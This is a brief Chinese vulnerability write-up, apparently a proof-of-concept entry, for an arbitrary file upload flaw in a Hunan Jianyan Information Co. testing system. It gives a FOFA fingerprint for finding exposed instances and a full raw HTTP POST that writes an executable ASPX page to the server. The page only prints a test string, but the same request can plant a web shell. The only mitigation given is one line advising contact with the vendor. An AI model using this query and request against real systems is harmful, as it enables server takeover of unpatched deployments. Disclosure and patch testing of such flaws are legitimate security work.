# 湖南建研信息有限公司检测系统文件上传

## 漏洞描述

湖南建研信息有限公司检测系统文件上传，攻击者可通过此漏洞获取服务器权限。

## 漏洞复现

1. FOFA

body="/Content/Theme/Standard/webSite/login.css"



1. poc：

POST /Scripts/admintool?type=updatefile HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 88

Content-Type: application/x-www-form-urlencoded

filePath=2.aspx&fileContent=<%@ Page Language="C#"%><% Response.Write("hellssso,world"); %>

1. Nucle

## 修复建议

1、产商已发布安全版本，请联系厂商修复。